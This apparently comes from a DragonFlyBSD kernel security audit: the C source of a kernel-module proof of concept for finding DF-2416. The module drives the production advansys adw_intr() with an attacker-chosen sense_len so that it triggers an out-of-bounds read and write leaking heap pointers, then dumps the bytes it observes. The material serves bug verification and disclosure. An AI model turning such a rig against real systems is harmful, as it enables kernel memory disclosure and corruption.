⬢ DragonFlyBSD Kernel Audit
DF-2416 / dfadw.c
← back to finding ↓ download raw
/*
 * dfadw.c -- DF-2416 verification rig
 * sys/dev/disk/advansys/adwcam.c:1321-1322: on CHECK_COND completion,
 * adw_intr() does
 *     bcopy(&acb->sense_data, &ccb->csio.sense_data,
 *           ccb->csio.sense_len);
 * with sense_len copied verbatim from userland (via pass(4) CCB merge)
 * and never clamped (the firmware-facing side IS clamped at :384).
 * sense_len up to 255 vs 32-byte buffers on both ends:
 *   - OOB READ: acb->sense_data[32..254] = acb->links/queue fields
 *     (kernel heap pointers / DMA addresses) copied into the CCB
 *   - OOB WRITE: bytes land past ccb->csio.sense_data corrupting
 *     msg_ptr/resid/cdb_io/tag_id/... returned to the CAM requester
 *
 * The rig dispatches the PRODUCTION adw_intr() (kernel symbol) over a
 * fabricated post-attach adw_softc with a carrier chain naming a rig
 * acb/ccb built exactly as adw_execute_ccb leaves them, plus a real
 * (fabricated-but-consistent) CAM path/EB/SIM/ED so the production
 * freeze-devq step works.  The acb tail fields (what the OOB read
 * discloses) are set to recognizable real-looking values.
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/bus.h>
#include <sys/lock.h>
#include <sys/callout.h>
#include <sys/msgport.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_queue.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>

#include "adwlib.h"
#include "adwvar.h"

MALLOC_DEFINE(M_DFADW, "dfadw", "dfadw rig");


static struct adw_softc *adw;
static struct acb *acb0;
static union ccb *ccb0;
static struct callout co0;
static uint8_t regpage[64];

/* REAL CAM plumbing: the rig registers its own SIM+bus (the same calls
 * adw_attach makes at adwcam.c:1170-1186), so adw_intr's
 * xpt_freeze_devq/xpt_done operate on genuine CAM objects. */
static struct cam_path *path0;
static struct cam_sim *sim0;
static struct lock simlock0;
static struct cam_devq *devq0;

static void
rig_action(struct cam_sim *sim, union ccb *ccb)
{
	ccb->ccb_h.status &= ~CAM_SIM_QUEUED;
	ccb->ccb_h.status |= CAM_REQ_CMP;
	xpt_done(ccb);
}

static void
rig_poll(struct cam_sim *sim)
{
}

static void
dump_region(const char *tag, uint8_t *p, int off, int n)
{
	int i;

	kprintf("dfadw: %s[+%d..+%d]:", tag, off, off + n - 1);
	for (i = 0; i < n; i++)
		kprintf("%02x", p[off + i]);
	kprintf("\n");
}

static int
dfadw_go(SYSCTL_HANDLER_ARGS)
{
	char cmd[64] = { 0 };
	int error;
	u_int32_t sense_len;

	error = sysctl_handle_string(oidp, cmd, sizeof(cmd), req);
	if (error || req->newptr == NULL)
		return (error);
	if (strncmp(cmd, "run ", 4) != 0)
		return (EINVAL);
	sense_len = (u_int32_t)strtoul(cmd + 4, NULL, 10);
	if (sense_len < 32 || sense_len > 255) {
		kprintf("dfadw: sense_len must be 32..255\n");
		return (EINVAL);
	}

	/* ---- fabricated register page: HOST_INTR pending, INTRA ---- */
	memset(regpage, 0, sizeof(regpage));
	*(uint16_t *)(regpage + 0x02 /*ADW_CTRL_REG*/) = 0x0100; /* HOST_INTR */
	regpage[0x00 /*ADW_INTR_STATUS_REG*/] = 0x01; /* INTRA */

	/* ---- fabricated adw_softc ---- */
	adw = kmalloc(sizeof(*adw), M_DFADW, M_WAITOK | M_ZERO);
	adw->tag = 1;
	adw->bsh = (bus_space_handle_t)(uintptr_t)regpage;
	adw->unit = 9;
	LIST_INIT(&adw->pending_ccbs);
	SLIST_INIT(&adw->free_acb_list);

	/* carriers block: 3 carriers; responseq = carriers+0 */
	{
		size_t csz = 3 * sizeof(struct adw_carrier);
		struct adw_carrier *cs = kmalloc(csz, M_DFADW,
		    M_WAITOK | M_ZERO);
		adw->carriers = cs;
		adw->carrier_busbase = 0x1000;
		cs[0].carr_offset = 0x1000;
		cs[0].areq_ba = 0;			/* byte offset 0 = acb 0 (acbbotov) */
		cs[0].next_ba = (0x1000 + sizeof(struct adw_carrier))
		    | 0x00000001;		/* are flag bit set? masked */
		cs[1].carr_offset = 0x1000 + sizeof(struct adw_carrier);
		cs[1].next_ba = 0x1000 + 2 * sizeof(struct adw_carrier);
		cs[2].carr_offset = 0x1000 + 2 * sizeof(struct adw_carrier);
		cs[2].next_ba = 0;
		adw->free_carriers = &cs[2];
		adw->responseq = &cs[0];
		adw->commandq = &cs[1];
	}

	/* acb 0 with recognizable tail fields (what the OOB read copies) */
	acb0 = kmalloc(sizeof(*acb0) + 4096, M_DFADW, M_WAITOK | M_ZERO);
	{
		uint8_t *tailpad = (uint8_t *)(acb0 + 1);
		memset(tailpad, 0x6D, 4096);	/* canary after the acb */
	}
	adw->acbs = acb0;
	adw->acb_busbase = 0x2000;
	memset(&acb0->sense_data, 0xEE, sizeof(acb0->sense_data));
	*(uintptr_t *)&acb0->links.sle_next = 0x4142434445464748UL;
	acb0->queue.scsi_req_baddr = 0xCAFEBABE;
	acb0->queue.host_status = QHSTA_NO_ERROR;
	acb0->queue.done_status = QD_NO_ERROR;
	acb0->queue.scsi_status = 0x02 /* CHECK_COND */;
	acb0->queue.sense_len = 32;		/* clamped firmware-side */
	acb0->state = ACB_ACTIVE;
	adw->max_acbs = 1;
	adw->num_acbs = 1;

	/* ccb as CAM leaves it; sense_len = attacker value (the bug) */
	ccb0 = kmalloc(sizeof(*ccb0) + 4096, M_DFADW, M_WAITOK);
	memset(ccb0, 0, sizeof(*ccb0) + 4096);
	callout_init(&co0);
	ccb0->ccb_h.func_code = XPT_NOOP;
	ccb0->ccb_h.flags = CAM_DIR_NONE;
	ccb0->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
	ccb0->ccb_h.timeout_ch = &co0;
	ccb0->csio.sense_len = sense_len;
	ccb0->csio.sense_resid = 0x77;
	*(uintptr_t *)&ccb0->csio.msg_ptr = 0xDEADBEEF0BADF00DUL;
	ccb0->csio.cdb_len = 0x5A;
	ccb0->ccb_h.func_code = XPT_NOOP;
	ccb0->ccb_h.flags = CAM_DIR_NONE;
	ccb0->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
	ccb0->ccb_h.timeout_ch = &co0;
	ccb0->csio.sense_len = sense_len;
	ccb0->csio.sense_resid = 0x77;
	*(uintptr_t *)&ccb0->csio.msg_ptr = 0xDEADBEEF0BADF00DUL;
	ccb0->csio.cdb_len = 0x5A;
	acb0->ccb = ccb0;
	/* exactly as adw_execute_ccb leaves the CCB */
	ccb0->ccb_h.status |= CAM_SIM_QUEUED;
	LIST_INSERT_HEAD(&adw->pending_ccbs, &ccb0->ccb_h, sim_links.le);

	/* REAL CAM plumbing (mirrors adw_attach) */
	lockinit(&simlock0, "dfadwlk", 0, LK_CANRECURSE);
	devq0 = cam_simq_alloc(16);
	sim0 = cam_sim_alloc(rig_action, rig_poll, "dfadw", adw,
	    adw->unit, &simlock0, 1, 1, devq0);
	if (sim0 == NULL) {
		kprintf("dfadw: cam_sim_alloc failed\n");
		return (ENOMEM);
	}
	lockmgr(&simlock0, LK_EXCLUSIVE);
	if (xpt_bus_register(sim0, 0) != CAM_SUCCESS) {
		kprintf("dfadw: xpt_bus_register failed\n");
		lockmgr(&simlock0, LK_RELEASE);
		return (ENOMEM);
	}
	xpt_create_path(&path0, /*periph*/NULL, cam_sim_path(sim0),
	    /*target*/0, /*lun*/0);
	ccb0->ccb_h.path = path0;

	kprintf("dfadw: dispatching PRODUCTION adw_intr with "
	    "scsi_status=CHECK_COND sense_len=%u (buffers are %zu bytes "
	    "on both ends; firmware-side clamped to %u)\n",
	    sense_len, sizeof(acb0->sense_data), acb0->queue.sense_len);
	kprintf("dfadw: pre-copy ccb fields: sense_resid=0x%x "
	    "cdb_len=0x%x\n",
	    ccb0->csio.sense_resid, ccb0->csio.cdb_len);
	dump_region("ccb.sense_data before", (uint8_t *)ccb0,
	    __builtin_offsetof(union ccb, csio.sense_data), 64);

	lockmgr(&simlock0, LK_EXCLUSIVE);
	adw_intr(adw);			/* PRODUCTION */
	lockmgr(&simlock0, LK_RELEASE);
	xpt_release_devq(path0, 1, TRUE);	/* undo the freeze */

	kprintf("dfadw: adw_intr returned; ccb status=0x%x "
	    "AUTOSNS=%d\n", ccb0->ccb_h.status,
	    (ccb0->ccb_h.status & CAM_AUTOSNS_VALID) ? 1 : 0);
	dump_region("ccb.sense_data after ", (uint8_t *)ccb0,
	    __builtin_offsetof(union ccb, csio.sense_data), 64);
	kprintf("dfadw: post-copy ccb fields: sense_resid=0x%x "
	    "cdb_len=0x%x (corrupted = OOB write past sense_data)\n",
	    ccb0->csio.sense_resid, ccb0->csio.cdb_len);
	{
		uint8_t *sd = (uint8_t *)&ccb0->csio.sense_data;
		int i, leakEE = 0, leak41 = 0, other = 0;
		for (i = 32; i < 64; i++) {
			if (sd[i] == 0xEE) leakEE++;
			else other++;
		}
		for (i = 32; i < 64; i++)
			if (sd[i] == 0x48) leak41++;
		kprintf("dfadw: bytes 32..63 of sense_data: in-bounds fill "
		    "(0xEE): %d, acb->links byte 0x48: %d, other: %d -- "
		    "bytes past the 32-byte sense buffers were copied into "
		    "the CCB\n", leakEE, leak41, other);
	}
	return (0);
}

static int
dfadw_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		SYSCTL_ADD_PROC(NULL, SYSCTL_STATIC_CHILDREN(_kern),
		    OID_AUTO, "dfadwgo", CTLTYPE_STRING | CTLFLAG_RW, 0, 0,
		    dfadw_go, "A", "rig control");
		return (0);
	case MOD_UNLOAD:
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t dfadw_mod = { "dfadw", dfadw_load, 0 };
DECLARE_MODULE(dfadw, dfadw_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);